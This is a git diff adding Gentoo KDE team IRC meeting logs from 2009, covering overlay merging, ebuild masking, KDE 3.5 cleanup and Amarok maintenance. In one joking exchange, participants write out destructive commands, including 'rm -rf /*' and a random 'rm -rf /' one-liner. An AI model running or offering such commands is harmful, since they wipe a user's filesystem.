+[21:24:59] <wired^> split feels better assuming the eclasses are always in sync (or different per overlay)
+[21:25:00] <scarabeus> we should use package masks?
+[21:25:00] <alexxy> so we should efine policy for commiting tio overlays
+[21:25:18] <tampakrap> yes it is easier to maintain this way
+[21:25:23] <alexxy> since no one merge changes from one overlay to other if he commit something
+[21:25:32] <tampakrap> personally my main duties was the syncing
+[21:25:37] <tampakrap> *were
+[21:25:42] <scarabeus> we can have merging supervisor ;]
+[21:25:47] <scarabeus> tampakrap was great one :D
+[21:25:55] <tampakrap> but didn't want to :)
+[21:25:57] <Sput> merge
+[21:26:18] <yngwin> depends how much syncing is needed
+[21:26:26] <alexxy> to my mind its better to merge overlays again
+[21:26:29] <scarabeus> quite much
+[21:26:41] <scarabeus> well i like the split only from users view
+[21:26:43] <yngwin> then i can imagine having 1 overlay would be better
+[21:26:43] <alexxy> and keep live stuff masked + unkeyworded
+[21:26:53] <yngwin> just keep live unkeyworded
+[21:27:06] <yngwin> only hardmask stuff that is known not to work
+[21:27:08] <scarabeus> if we are able to make visible only mature stuff for users which first checkout
+[21:27:10] <scarabeus> i am for merge too
+[21:27:21] <alexxy> two overlays is realyhard to maintain
+[21:27:25] <tampakrap> profile.mask is the solution
+[21:27:32] <yngwin> no
+[21:27:44] -*- cryos|work was getting coffee and doing work...
+[21:27:59] <yngwin> kde-testing stuff can go ~arch, and crazy stuff unkeyworded
+[21:28:00] <alexxy> scarabeus: we can mask all live stuff
+[21:28:07] <scarabeus> live stuff is already masked
+[21:28:08] <tampakrap> right
+[21:28:14] <scarabeus> ok that sounds reasonable
+[21:28:16] <tampakrap> no it isn't
+[21:28:29] <tampakrap> it isn't hardmasked i mean
+[21:28:31] <cryos|work> If it is unkeyworded it is enough.
+[21:28:32] <scarabeus> about masking
+[21:28:39] <scarabeus> oh
+[21:28:42] <scarabeus> my bad
+[21:28:47] <cryos|work> You have to specially keyword and checkout an overlay.
+[21:28:50] <alexxy> its better to have live stuff p.masked also
+[21:28:58] <cryos|work> If it makes you happy.
+[21:29:02] <scarabeus> :D
+[21:29:04] <yngwin> alexxy: why? unkeywording is enough
+[21:29:14] <scarabeus> unkeywording is indeed enought
+[21:29:21] <tampakrap> no it isn't
+[21:29:21] <scarabeus> i have to drink my cure, brb
+[21:29:28] <tampakrap> in case of phonon it isn't
+[21:29:34] <alexxy> yngwin: its too easy for user to unmask live stuff by error
+[21:29:36] <cryos|work> It is already in an overlay, and has no keywords. You have to specifically keyword **/
+[21:29:46] <-- Vash63 (n=quassel@ip68-2-28-213.ph.ph.cox.net) has quit (Read error: 54 (Connection reset by peer))
+[21:29:46] <cryos|work> It isn't too easy.
+[21:29:47] <tampakrap> people symlink everything and live phonon gets installed in snapshots' machines
+[21:29:52] <yngwin> alexxy: they need to specifically add ** keyowrds
+[21:29:57] <cryos|work> If it makes you happy and you stop bickering you can mask it too.
+[21:29:59] <-- hvengel (n=hvengel@astound-66-234-194-11.ca.astound.net) has quit (Connection timed out)
+[21:30:07] --> hvengel (n=hvengel@astound-66-234-194-11.ca.astound.net) has joined #gentoo-kde
+[21:30:10] <cryos|work> I think it is overkill though.
+[21:30:13] <yngwin> symlinking unmask is easy too
+[21:30:19] <tampakrap> yeah but they symlink the whole p.keywords folder even if i splitted it for every version
+[21:30:29] <yngwin> that is users fault
+[21:30:34] <tampakrap> the solution is a clear guide then
+[21:30:35] --> St_MPA3b (n=quassel@gregory51.dialup.corbina.ru) has joined #gentoo-kde
+[21:30:39] <yngwin> yes
+[21:30:41] <tampakrap> not two overlays
+[21:30:46] <cryos|work> You cannot prevent stupid users from doing stupid things.
+[21:30:57] <cryos|work> Just provide a clear path and reasonable policies.
+[21:31:02] <yngwin> indeed
+[21:31:05] --> Vash63 (n=quassel@ip68-2-28-213.ph.ph.cox.net) has joined #gentoo-kde
+[21:31:14] <cryos|work> It is too easy for a user to type rm -rf /
+[21:31:21] <tampakrap> lol
+[21:31:21] <scarabeus> :D
+[21:31:24] <wired^> lol
+[21:31:30] <alexxy> cryos|work: this wil not work =)
+[21:31:34] <scarabeus> cryos|work: so what is your merge/split statement :D
+[21:31:42] <alexxy> i mean rm -rf / will not work
+[21:31:48] <alexxy> =)
+[21:31:53] <wired^> [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "You live"
+[21:31:53] <cryos|work> I would merge, but don't mind too much.
+[21:32:01] <yngwin> brb
+[21:32:09] <cryos|work> rm -rf /* then?
+[21:32:11] <scarabeus> ok so far the voltes are:
+[21:32:18] <scarabeus> yngwin: merge
+[21:32:18] <scarabeus> kitten: merge
+[21:32:18] <scarabeus> scarab: merge
+[21:32:18] <scarabeus> tampakrap: merge
+[21:32:18] <scarabeus> reavertm: merge
+[21:32:18] <scarabeus> alexxy: merge
+[21:32:18] <scarabeus> cryos: dont mind merge
+[21:32:22] <cryos|work> Still to easy...
+[21:32:31] <scarabeus> so i guess we will again have one overlay :D
+[21:32:33] <tampakrap> also sput merge
+[21:32:34] <cryos|work> I would go with, but won't cry if you don't ;-)
+[21:32:46] <jmbsvicetto> Hi
+[21:32:48] <scarabeus> :D
+[21:32:51] <cryos|work> Hey - he's here!
+[21:32:53] <tampakrap> HELLOOOOO
+[21:32:56] <jmbsvicetto> sorry guys, but I've been tied up at work :\
+[21:32:57] <scarabeus> hi!
+[21:32:57] <tampakrap> it's alive!!!!!
+[21:33:08] <scarabeus> its moving, RUN :D
+[21:33:11] <tampakrap> ok meeting is over we have one overlay end of the story bye
+[21:33:13] <jmbsvicetto> I'm very sorry, but I had expected to be free for the meeting
+[21:33:15] <cryos|work> I need to mostly disappear and get some work done...
+[21:33:30] <cryos|work> Sorry I missed you jmbsvicetto.
+[21:33:43] -*- cryos|work out - will read ML summary if there is one...
+[21:33:43] <jmbsvicetto> I'll have to grab dinner in around 15 minutes. Is there anything I can clear up / explain / detail ?
+[21:33:50] <jmbsvicetto> cryos|work: Hi. I'm sorry too
+[21:34:09] <cryos|work> jmbsvicetto: Life happens. We tried not to steam roll stuff ;-)
+[21:34:27] <cryos|work> I do need to go though.
+[21:34:30] <scarabeus> jmbsvicetto: we were volting about merge/split overlays and all volted for merge or dont mind merge :D
+[21:34:54] <jmbsvicetto> About the tasks I was expected to do from the last meeting: 1. mysql - I'm stuck at the patch in the bug - I wasn't able to do more yet. 2. contact people to check whether they want to be in the kde team - I'm sorry, but I didn't got this done.
+[21:35:01] <jmbsvicetto> cryos|work: hehe
+[21:35:03] <jmbsvicetto> cryos|work: later
+[21:35:11] <scarabeus> :D
+[21:35:20] <jmbsvicetto> scarabeus: ok, so my vote would have lost
+[21:35:27] --> tinytony_ (n=tinytony@77.53.34.198) has joined #gentoo-kde
+[21:35:37] <jmbsvicetto> scarabeus: what was the 3rd task I had to do?
+[21:35:37] <scarabeus> jmbsvicetto: ok for the mails i guess you will do it in future so no biggie in that
+[21:35:54] <scarabeus> jmbsvicetto: the third one i did instead of you
+[21:35:55] <scarabeus> :D
+[21:36:09] <jmbsvicetto> Yeah, I'll try to get it done this week. I can also tell you some of them are under undertakers notice
+[21:36:16] <jmbsvicetto> scarabeus: what was it?
+[21:36:20] <jmbsvicetto> scarabeus: eclasses?
+[21:36:23] <scarabeus> eapi2only eclasses
+[21:36:25] <scarabeus> which i handled
+[21:36:37] <jmbsvicetto> scarabeus: Thanks and sorry for leaving it up to you
+[21:36:52] <scarabeus> no problem really, i had time so i did it :]
+[21:36:58] <scarabeus> at least i know the eclass pretty well :]
+[21:37:04] <jmbsvicetto> hehe
+[21:37:15] <jmbsvicetto> scarabeus: want to know mysql "intimately"? ;)
+[21:37:18] <tampakrap> are we ok with moving eclasses to the tree?
+[21:37:28] <yngwin> back
+[21:37:44] <scarabeus> looks like i will do it on saturday i guess
+[21:37:46] <jmbsvicetto> scarabeus: I noticed reavertm seemed to find a bug in the eclasses related to the blocks
+[21:37:48] <scarabeus> tampakrap: ^
+[21:38:00] <jmbsvicetto> Were you able to sort that out?
+[21:38:02] <scarabeus> jmbsvicetto: ok one bug, needs to be fixored
+[21:38:10] <scarabeus> jmbsvicetto: he didnt tell me a thing
+[21:38:20] <Sput> btw I even think that merging the overlays is less confusing for users than the current state, where they always need to ask around which overlay contains what
+[21:38:21] <jmbsvicetto> I think he sent a mail to the desktop alias
+[21:38:32] <Sput> there should be only one official gentoo KDE overlay one can point people
+[21:38:35] <jmbsvicetto> Sput: I also didn't do the blog entry :\
+[21:38:40] <scarabeus> oh i see
+[21:38:50] <Sput> jmbsvicetto: which blog entry?
+[21:38:57] <scarabeus> btw alexxy has review tomorow in case you dont know
+[21:39:03] <jmbsvicetto> The one I was going to explain it (the overlays)
+[21:39:08] <jmbsvicetto> scarabeus: I didn't
+[21:39:10] <jmbsvicetto> alexxy: Good luck :)
+[21:39:18] <alexxy> jmbsvicetto: thanks
+[21:39:19] <alexxy> =)
+[21:39:35] <scarabeus> and i guess we should pronounce the meeting over uness jmbsvicetto has something new he wants to adres
+[21:39:42] <jmbsvicetto> alexxy: I'm going to be busy tonight, but if you want / need to ask something, poke me until I reply ;)
+[21:39:42] <scarabeus> oh missing letters, shame on me
+[21:39:55] <jmbsvicetto> scarabeus: No, nothing to add
+[21:40:14] <scarabeus> unit DISMISS!
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20090305.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20090305.txt
new file mode 100644
index 00000000..a52c5351
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20090305.txt
@@ -0,0 +1,769 @@
+[21:08:49] <scarabeus> LETS BEGIN :D
+[21:09:07] <scarabeus> so first nice question is
+[21:09:10] <scarabeus> WHO IS AROUND?
+[21:09:16] <NoirSoldats> o/
+[21:09:17] <yngwin> !herd kde
+[21:09:21] <Willikins> yngwin: (kde) alexxy, caleb, carlo, cryos, deathwing00, genstef, jmbsvicetto, keytoaster, mattepiu, patrick, scarabeus, tampakrap, tgurr
+[21:09:21] <yngwin> !herd qt
+[21:09:22] <Willikins> (qt) caleb, carlo, hwoarang, yngwin
+[21:09:24] -*- wired is here
+[21:09:29] -*- yngwin is present
+[21:09:37] -*- alexxy here
+[21:09:50] <bumbl> xine-lib-9999 does not compile yngwin because of missing Makefile.in
+[21:09:50] *** Mode #gentoo-kde +v reavertm by scarabeus
+[21:10:22] <scarabeus> where are the other slackers :P
+[21:10:37] <wired> slacking
+[21:10:38] <wired> :p
+[21:10:54] <yngwin> bumbl: see forum thread. if there is a patch/solution, i will apply it (tonight or tomorrow)
+[21:10:58] -*- cryos|work is kinda here, ill, stressed...
+[21:11:19] <scarabeus> cryos|work: hi :]
+[21:11:59] <-- KotBehemot (n=dracul66@unaffiliated/kotbehemot) has quit (Remote closed the connection)
+[21:12:03] <jmbsvicetto> ping
+[21:12:20] <jmbsvicetto> Sorry for being late
+[21:12:22] <scarabeus> ok we are closing onto desired goal >50% around :]
+[21:12:22] <cryos|work> I think you need to ping an address, or is that a broadcast packet?
+[21:12:24] <hwoarang> here
+[21:12:34] <-- genady12__ (n=genady12@80.178.17.222.adsl.012.net.il) has quit (Read error: 110 (Connection timed out))
+[21:12:54] <alexxy> where is our main slacker? bonsaikitten are you here?
+[21:12:56] <alexxy> =)
+[21:13:09] <bonsaikitten> am I ?
+[21:13:16] <bonsaikitten> yes!
+[21:13:29] <jmbsvicetto> cryos|work: broadcast ping ;)
+[21:13:34] <scarabeus> ok so i guess we can start, others would have to show up later...
+[21:13:37] <scarabeus> any objections?
+[21:13:54] <yngwin> none
+[21:13:57] <jmbsvicetto> who are we missing?
+[21:13:59] <alexxy> =)
+[21:14:02] <yngwin> tampa
+[21:14:05] <Philantrop> Carlo! ;->
+[21:14:05] <scarabeus> tampakrap i guess and reaver
+[21:14:14] <jmbsvicetto> Philantrop: :P
+[21:14:17] <scarabeus> Philantrop: you actualy get him on irc at some point? :]
+[21:14:17] <jmbsvicetto> Hi Wulf
+[21:14:30] <Philantrop> scarabeus: No, he never was nor will he ever.
+[21:14:34] <bonsaikitten> Hi Phil :)
+[21:14:34] <Philantrop> jmbsvicetto: Hello! :-)
+[21:14:39] <scarabeus> hehe
+[21:14:52] <jmbsvicetto> scarabeus: carlo is a "mail" guy
+[21:14:52] --> KotBehemot (n=dracul66@unaffiliated/kotbehemot) has joined #gentoo-kde
+[21:15:05] <scarabeus> yea i got that :]
+[21:15:14] <Philantrop> jmbsvicetto: ... if he communicates at all.
+[21:15:37] <jmbsvicetto> Philantrop: well, a reply to a 4 or 6 month mail is still a reply :P
+[21:15:40] <scarabeus> http://www.pastebin.cz:80/15872
+[21:15:44] <Philantrop> jmbsvicetto: :-) True.
+[21:15:48] <tampakrap> i'm here
+[21:15:50] <scarabeus> here is a list what we will chat about today
+[21:15:53] <scarabeus> hello tampy
+[21:15:59] <wired> tampy!
+[21:16:03] <wired> lol
+[21:16:32] -*- cryos|work only claims 42% presence --- man flu...
+[21:16:44] <scarabeus> ok so we can start with kde3.5.10 state
+[21:16:50] <bumbl> cryos|work: get well soon
+[21:16:51] <scarabeus> cause on that we all probably will just listen :D
+[21:16:52] <tampakrap> i'd like to say a few things about KDE 3 first
+[21:17:17] <tampakrap> may I?
+[21:17:20] <jmbsvicetto> Hi Theo
+[21:17:21] <scarabeus> yes proceed
+[21:17:22] <yngwin> say
+[21:17:32] <tampakrap> ok
+[21:17:39] <jmbsvicetto> cryos|work: yeah, my cold has been bugging me for the past week :\
+[21:17:50] <tampakrap> in kde-testing i have a kde-3.5 branch with new eclasses
+[21:18:13] <tampakrap> those eclasses prefix misc kde apps in /usr/kde/3.5 and permit eapi2 ebuilds
+[21:18:38] <tampakrap> i have started writing all kde-base ebuilds in eapi 2 i have about 60 here
+[21:19:02] <tampakrap> jmbsvicetto told me today to try to get rid of arts and use a different backend
+[21:19:18] <tampakrap> i'm not sure if this can be done and to be honest i don't know if it worths it
+[21:19:24] <tampakrap> i'd like your opinion
+[21:19:24] -*- jmbsvicetto looks innocently into the sky
+[21:19:37] <tampakrap> and of course some testing of you people
+[21:19:53] <jmbsvicetto> tampakrap: if it's too much work, forget arts
+[21:19:54] <bonsaikitten> kill arts.
+[21:20:05] <yngwin> in my opinion kde 3.5.10 works as is, and i wouldnt spend too much time on 'improving' the ebuilds
+[21:20:07] <tampakrap> especially the kde4 guys, as the pending big issue is the proper use of kde3 apps inside kde4 environment
+[21:20:12] <jmbsvicetto> tampakrap: I was just interested to find out if we could kill it
+[21:20:21] <Philantrop> jmbsvicetto: You could.
+[21:20:22] --> looonger (n=looonger@host-89-231-128-7.rawamaz.mm.pl) has joined #gentoo-kde
+[21:20:43] <wired> tampakrap: have you done any changes to the eclasses since we lasted talked about them?
+[21:20:46] <scarabeus> i agree with killing
+[21:20:53] <jmbsvicetto> Philantrop: we should, but meh :\
+[21:20:57] <yngwin> give peas a chance
+[21:21:17] <tampakrap> wired: yes but not pushed
+[21:21:17] <Philantrop> jmbsvicetto: I wouldn't do it anymore. It's not worth the effort anymore.
+[21:21:24] <jmbsvicetto> yeah, I agree
+[21:21:50] <scarabeus> it was allways broken from my POV and it is not worth the problems with it i guess
+[21:21:57] <jmbsvicetto> tampakrap: how can we help you getting it done?
+[21:22:02] <wired> tampakrap: ok, just asking because last time i used them [by accident] kdebluetooth failed to install
+[21:22:23] <scarabeus> wired: most of the bugs i tried to fix
+[21:22:24] <yngwin> kdebluetooth is problematic anyway
+[21:22:30] <yngwin> should probab;ly be hardmasked
+[21:22:30] <tampakrap> jmbsvicetto: i'll ping you guys when i need help don't worry
+[21:22:41] <jmbsvicetto> tampakrap: If you think the eclasses are "almost done", you should probably merge them to the master branch
+[21:22:54] <wired> yngwin: it works fine for me (with bluez < 4)
+[21:22:57] <tampakrap> yes i'm about to do it
+[21:23:03] <jmbsvicetto> ok :)
+[21:23:14] <scarabeus> ok
+[21:23:31] --> scratch[x] (n=scratch@83.239.148.148) has joined #gentoo-kde
+[21:23:46] <tampakrap> but i  agree with Philantrop it is not worth the effort, everyone is moving to kde4.2, just a quick cleanup of kde3 is enough
+[21:23:53] <scarabeus> yep
+[21:23:59] <yngwin> on a related note, i want to mask ~qt-3.3.8 for removal, and leave only ~qt-3.3.8b in tree
+[21:24:05] <tampakrap> and i am more intrested in kde4 too
+[21:24:30] <alexxy> kde 3.5.x is old =)
+[21:24:31] <tampakrap> yngwin: feel free
+[21:24:31] <-- er0x (n=kvirc@client-87-247-122-156.inturbo.lt) has quit ("KVIrc Insomnia 4.0.0, revision: , sources date: 20090224, built on: 2009/03/04 18:54:25 UTC http://www.kvirc.net/")
+[21:24:56] <yngwin> alexxy: maybe old, but it works ;)
+[21:25:02] <scarabeus> :]
+[21:25:04] <jmbsvicetto> yngwin: Is anything holding qt-3.3.8 around?
+[21:25:13] <jmbsvicetto> yngwin: looking at keywords I see they're the same
+[21:25:15] <yngwin> i thought kdebluetooth
+[21:25:30] <tampakrap> ok about kdebluetooth
+[21:25:31] <jmbsvicetto> ah, ok
+[21:25:38] <yngwin> not 100% sure, will look tomorrow
+[21:25:43] <bumbl> there might be some users who still want to use kde 3.5 until ~ kde 4.4 (which is when all the third party developers will have ported their apps (hopefully))
+[21:25:51] <scarabeus> NOTE: (guys i found out that my loging is not working with this weechat version so i will write summary and somebody else will have to put the log on devspace)
+[21:26:08] <jmbsvicetto> bumbl: hmm, besides k3b, which major apps are still missing?
+[21:26:09] -*- wired keeps logs
+[21:26:11] <tampakrap> bumbl: it's no reason to wait for them to release, we can provide working snapshots
+[21:26:17] <tampakrap> jmbsvicetto: nothing!
+[21:26:20] <jmbsvicetto> scarabeus: I have logs, don't worry
+[21:26:23] <scarabeus> ouk
+[21:26:40] <yngwin> jmbsvicetto: k3b, konversation, that i know
+[21:26:46] <scarabeus> kile
+[21:26:48] <scarabeus> and others
+[21:26:51] <bumbl> jmbsvicetto: kaffeine4 is still very basic (kaffeinegl seems dead)
+[21:26:53] <scarabeus> kde3 is still needed
+[21:26:54] <yngwin> quanta!!!!!!!!!!
+[21:26:56] <alexxy> kile works from :live
+[21:27:07] <_genuser_> qt-core is almost done.
+[21:27:08] <alexxy> k3b dont at this moment
+[21:27:09] <scarabeus> live is not good for normal users :]
+[21:27:13] <jmbsvicetto> yngwin: I liked quanta :)
+[21:27:13] <tampakrap> ok about kdebluetooth i'll have a look at it and try to find the very best solution
+[21:27:16] <_genuser_> then more hours for kdelibs.
+[21:27:21] <Sho_> Konversation's KDE 4 port is shaping up nicely, so that will be gone from the list soon.
+[21:27:27] <wired> jmbsvicetto: yeah quanta is badly missing
+[21:27:35] <alexxy> we can make snapshots for kile
+[21:27:36] <alexxy> =)
+[21:27:43] <yngwin> jmbsvicetto: i was hoping for quanta with vimpart
+[21:27:44] <scarabeus> blah
+[21:27:47] <_genuser_> I'm so excited that in 2 days I can finally run kde4.2. :)
+[21:28:06] <_genuser_> that was sarcastic.
+[21:28:09] <bumbl> shouldn't kdevelop4 replace quanta?
+[21:28:09] <_genuser_> hopefully it runs soon.
+[21:28:10] <Bluespear> jmbsvicetto: Kile
+[21:28:14] <tampakrap> we can make snapshots for many packages and maybe we can start doing it
+[21:28:15] <scarabeus> tampakrap: do you need our help somewhere on kde3?
+[21:28:30] <Bluespear> using TexClipse and this just sucks :D
+[21:28:36] <tampakrap> scarabeus: not now maybe in a few days
+[21:28:52] <jmbsvicetto> oh and obviously we still a "working" amarok ;)
+[21:29:00] <bumbl> genady12_: ah that's why my sarcasm detector went wild
+[21:29:16] <jmbsvicetto> scarabeus: next? getting 3.5.10 stabled?
+[21:29:21] <tampakrap> people please we have a meeting here...
+[21:29:26] <tampakrap> right
+[21:29:29] <scarabeus> hehe lets wait what tampakrap shows us
+[21:29:43] <scarabeus> for now lets fix the prefixing
+[21:29:45] <scarabeus> :]
+[21:29:51] <scarabeus> we still have  ~2 months :D
+[21:30:06] <jmbsvicetto> For getting 3.5.10 marked as stable? :\
+[21:30:08] <yngwin> why? there's no need to keep 3.5.10 from going stable
+[21:30:12] <Sho_> scarabeus: remember my kepas thing *g*
+[21:30:15] <jmbsvicetto> I was hoping to do it next month
+[21:30:18] <tampakrap> as i said the main issue is running kde3 apps inside kde4 env that's where i need help and testing
+[21:30:22] <yngwin> THIS month
+[21:30:32] <jmbsvicetto> yngwin: :)
+[21:30:33] <tampakrap> how can we do it this month with so many bugs open?
+[21:30:36] <scarabeus> jmbsvicetto: for 4.2 starting its consideration :D
+[21:30:48] <-- ABCD (n=ABCD@wikipedia/ABCD) has quit (Client Quit)
+[21:31:03] <scarabeus> ok this leads to the virtualbox snapshots i talked about
+[21:31:09] <yngwin> tampakrap: can you make a list of the important bugs that need fixing? so we can work on that, and ask users (bugday!) to help
+[21:31:14] <scarabeus> we should create some generic gentoo instalation with kde3 and kde4 for testing
+[21:31:17] <tampakrap> yes i can
+[21:31:27] --> ABCD (n=ABCD@wikipedia/ABCD) has joined #gentoo-kde
+[21:31:28] <yngwin> that would be helpful
+[21:31:37] <wired> scarabeus: Im on that
+[21:31:51] <tampakrap> i should separate kde base bugs from the misc ones as a first step
+[21:31:52] <jmbsvicetto> yngwin / tampakrap: I think the most imporant point to get 3.5.10 marked as stable is getting the eclasses in the tree
+[21:31:56] <NoirSoldats> wired: How is that coming? Do you need my help?
+[21:32:26] <jmbsvicetto> brb
+[21:32:31] * tampakrap has changed topic for #gentoo-kde to: "MEETING NOW | Official gentoo-kde project channel | KDE 4 guide: http://tinyurl.com/4n47v4 | Overlays: kde-testing, qting-edge | Want to help us? Ask channel staff for info | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | KDE 4.2.1 is available | Weird issues with nvidia-drivers-180.35? bug 260441 | Qt 4.5.0 committed"
+[21:32:34] <wired> NoirSoldats: well with 4.2.1 and all it kinda fell behind, but its cool, i figured out how to compact the thing as well so its more a matter of time now
+[21:32:49] <tampakrap> i think we're done with kde3
+[21:32:57] <scarabeus> if nobody has questions on ya
+[21:33:08] <NoirSoldats> wired: I'm here if ya need me or my processors. :)
+[21:33:31] <wired> alright, we'll talk about it after the meeting
+[21:33:32] <tampakrap> oh the last i wanted to tell about kde3
+[21:33:34] --> panard (n=panard@2a01:e35:8a09:e130:2e0:61ff:fe11:7adb) has joined #gentoo-kde
+[21:33:34] <comawhite> anyone ever noticed you can compile all of koffice-2 except Krita
+[21:33:50] <scarabeus> comawhite: i know, not now, later i will talk with you
+[21:34:04] <comawhite> okay
+[21:34:23] <tampakrap> carlo is doing an excellent job with kde3 misc apps he closed many bugs but he is never on irc, has anyone contacted him ever?
+[21:34:33] <bonsaikitten> only by email
+[21:34:52] <yngwin> i gave up after he didnt answer my emails last year
+[21:35:00] <tampakrap> ok i'll keep that in mind
+[21:35:05] <-- Bluespear (n=speedy@dhcp-83-219-104-51.customers.tvtnet.ch) has quit ("Leave")
+[21:35:06] <jmbsvicetto> tampakrap: You should use mail to talk to carlo
+[21:35:07] <scarabeus> tampakrap: only by mail, or best is creating bug with high priority assigned to him
+[21:35:11] <scarabeus> that is how i contacted :D
+[21:35:22] <tampakrap> ok
+[21:35:49] <scarabeus> ok next thingie is:
+[21:35:55] <scarabeus> we need somebody maintain the amarok
+[21:36:10] <yngwin> not me
+[21:36:18] <alexxy> not me =)
+[21:36:23] <NoirSoldats> hehe
+[21:36:24] <scarabeus> is anyone from us willing to be official maintainer?
+[21:36:25] <tampakrap> both kde3 and 4?
+[21:36:29] <scarabeus> yeah both
+[21:36:32] <jmbsvicetto> scarabeus: I haven't looked at 5.1.72 yet (mysql), but I'll get back to it this week
+[21:36:34] <tampakrap> omg
+[21:36:37] --> eyal_ (n=eyal@IGLD-80-230-109-116.inter.net.il) has joined #gentoo-kde
+[21:36:51] <jmbsvicetto> scarabeus: I don't think amarok for kde3 should require much work
+[21:36:55] <scarabeus> jmbsvicetto: :P
+[21:37:00] --> mschiff (n=mschiff@e176096142.adsl.alicedsl.de) has joined #gentoo-kde
+[21:37:05] <scarabeus> jmbsvicetto: well not much work but minor bugz are poping up
+[21:37:06] <tampakrap> jmbsvicetto: no it does :)
+[21:37:10] <scarabeus> so polishing it needs
+[21:37:17] <jmbsvicetto> :\
+[21:37:25] <tampakrap> it is a mess, pretty abandoned
+[21:37:42] <yngwin> yes, flameeyes tried to drop it on me
+[21:37:44] <scarabeus> i guess we could sent mail on -dev
+[21:37:48] <jmbsvicetto> amarok-1.4 ?
+[21:37:54] <yngwin> indeed
+[21:38:11] <yngwin> as i offered to help at the time when he had to go to hospital
+[21:38:40] <scarabeus> hehe
+[21:38:54] <yngwin> he assigned all amarok bugs to me
+[21:38:55] <scarabeus> soo do we have suicider, erm i mean maintainer...
+[21:38:59] <tampakrap> btw amarok-2.2 released
+[21:39:04] <scarabeus> tampakrap: yeah i know
+[21:39:20] <alexxy> tampakrap: what?!
+[21:39:24] <scarabeus> 2.0.2
+[21:39:28] <scarabeus> he cant write
+[21:39:29] <scarabeus> :D
+[21:39:32] <tampakrap> look i'm a big fun of amarok but until the end of the month i'll be pretty busy with some things and i can't take it
+[21:39:43] <scarabeus> yes i know i am not saying you should
+[21:39:45] <yngwin> we could just hardmask it and assign to maintainer-needed ;)
+[21:39:58] <scarabeus> ok i will sent the mail on the dev you lazy ....
+[21:40:00] <scarabeus> :D
+[21:40:01] <hwoarang> i wonder if amarok compiles with qt-4.5 now
+[21:40:11] <NoirSoldats> hwoarang: Mine did.
+[21:40:19] <alexxy> hmm
+[21:40:26] <hwoarang> so does here  but the upstream bug is still open
+[21:40:27] <NoirSoldats> hwoarang: With a little hacking.
+[21:40:31] <alexxy> we can add amarok 2.0.2 to overlay
+[21:40:36] <hwoarang> and reproducable by many users
+[21:40:36] <alexxy> to see if it works
+[21:40:41] <jmbsvicetto> scarabeus: add me silently to the amarok bugs
+[21:40:42] <hwoarang> +1 to alexxy
+[21:41:01] <scarabeus> jmbsvicetto: ok adding as note if you are really sure :]
+[21:41:09] <jmbsvicetto> yup
+[21:41:16] <jmbsvicetto> scarabeus: I'll take a look at it
+[21:41:23] <tampakrap> will the kde-herd and sound-herd maintainers remain though?
+[21:41:33] <scarabeus> yes of course :]
+[21:41:41] <scarabeus> ok amarok is done i think :]
+[21:41:56] <yngwin> i dont think anyone @sound is really interested
+[21:42:16] <scarabeus> now i have "homepage updates" it means that we have pretty much tons of outdates info on webspace, in doc and in informations
+[21:42:23] <tampakrap> i don't care for sound-herd after all :)
+[21:42:28] <scarabeus> so we need somebody that will actualy try to keep that up-to-date
+[21:42:39] -*- tampakrap 
+[21:42:43] <yngwin> tampakrap: careful, i am in sound :p
+[21:42:45] <tampakrap> next subject :)
+[21:42:54] <tampakrap> :P
+[21:43:08] <scarabeus> tampakrap: you will really keep the web updated? are you sure it is lots of pages and lots of stuff :]
+[21:43:23] <scarabeus> specialy now main page and the guide needs heavy lifting
+[21:43:29] <scarabeus> so do you have time?...
+[21:43:33] <yngwin> i can help
+[21:43:36] <tampakrap> look as i said until the end of a month i'll be pretty busy with some things, next i'll have too much free time
+[21:43:49] <tampakrap> i'll take care of the guide though
+[21:44:14] <scarabeus> ok you two, try to work it out somehow then :]
+[21:44:30] <scarabeus> bonsaikitten: ping
+[21:44:33] <scarabeus> now i need you :]
+[21:44:36] <bonsaikitten> what!
+[21:44:39] <tampakrap> wait a minute
+[21:44:46] <bonsaikitten> I'm just providing access to tarballs ;)
+[21:45:02] <scarabeus> bonsaikitten: nope, i need YOU to take look on pykde bugs, and actualy fix them
+[21:45:10] <bonsaikitten> yeah
+[21:45:11] <scarabeus> since you are most relevant for this
+[21:45:14] <tampakrap> one quick note about the guide, people when you are fixing major stuff please do the guide fixes too immediately or assign it to someone, but it is a must
+[21:45:23] <bonsaikitten> scarabeus: I claim incompetence ;)
+[21:45:32] <bonsaikitten> been quite busy with work, maybe I find some time during the weekend
+[21:46:14] <scarabeus> greatie
+[21:46:21] <scarabeus> bonsaikitten: feel free to even remove it from kdeprefix
+[21:46:32] <bonsaikitten> well, first gotta fix slotting
+[21:46:37] <scarabeus> yup
+[21:46:39] <bonsaikitten> then see why it randomly fails
+[21:46:46] <bonsaikitten> then learn enough C++ to fix it
+[21:46:50] <scarabeus> :D
+[21:47:24] <scarabeus> there is nothing how i could help, combo of python and cpp is overhead for me
+[21:47:25] <scarabeus> :]
+[21:47:29] <bonsaikitten> hehe
+[21:47:37] <bonsaikitten> I still have so many other bugs I want to take care of :(
+[21:47:53] <yngwin> maybe mask pykde4 then
+[21:47:59] <scarabeus> it will allways be that way, but this is one of the biggest kde4 stable blockers now
+[21:48:54] <scarabeus> yngwin: even that might be the final solution if we wont make it work
+[21:49:02] <scarabeus> althrought it would disable lots of plasmoids
+[21:49:10] <bonsaikitten> no Final Solutions here
+[21:49:20] <yngwin> now it just fails for too many ppl
+[21:49:23] <bonsaikitten> we are pacifists who give every ebuild a chance
+[21:49:34] <scarabeus> :D
+[21:49:36] <jmbsvicetto> :)
+[21:50:13] -*- bonsaikitten glares at Phil
+[21:50:59] <scarabeus> any of you have any ideas about the bluez and kbluetooth, somebody who uses it, i might make it work, but frankly i dont use it much so i might missed stuff, it needs testing and maybe even patching
+[21:51:03] <scarabeus> kbluetooth4
+[21:51:56] <bonsaikitten> so let's ask users :)
+[21:52:04] <scarabeus> bluez is hardmasked
+[21:52:06] <bumbl> just compiled pykde4-9999 successfully
+[21:52:07] <bonsaikitten>  I have no bluetooth equipment
+[21:52:12] <scarabeus> so it needs really brave insaners to test
+[21:52:25] -*- alexxy dont have bluetoth
+[21:52:33] <wired> i have bluetooth but i stopped trying with kbluetooth4 some time ago because it broke my nerves
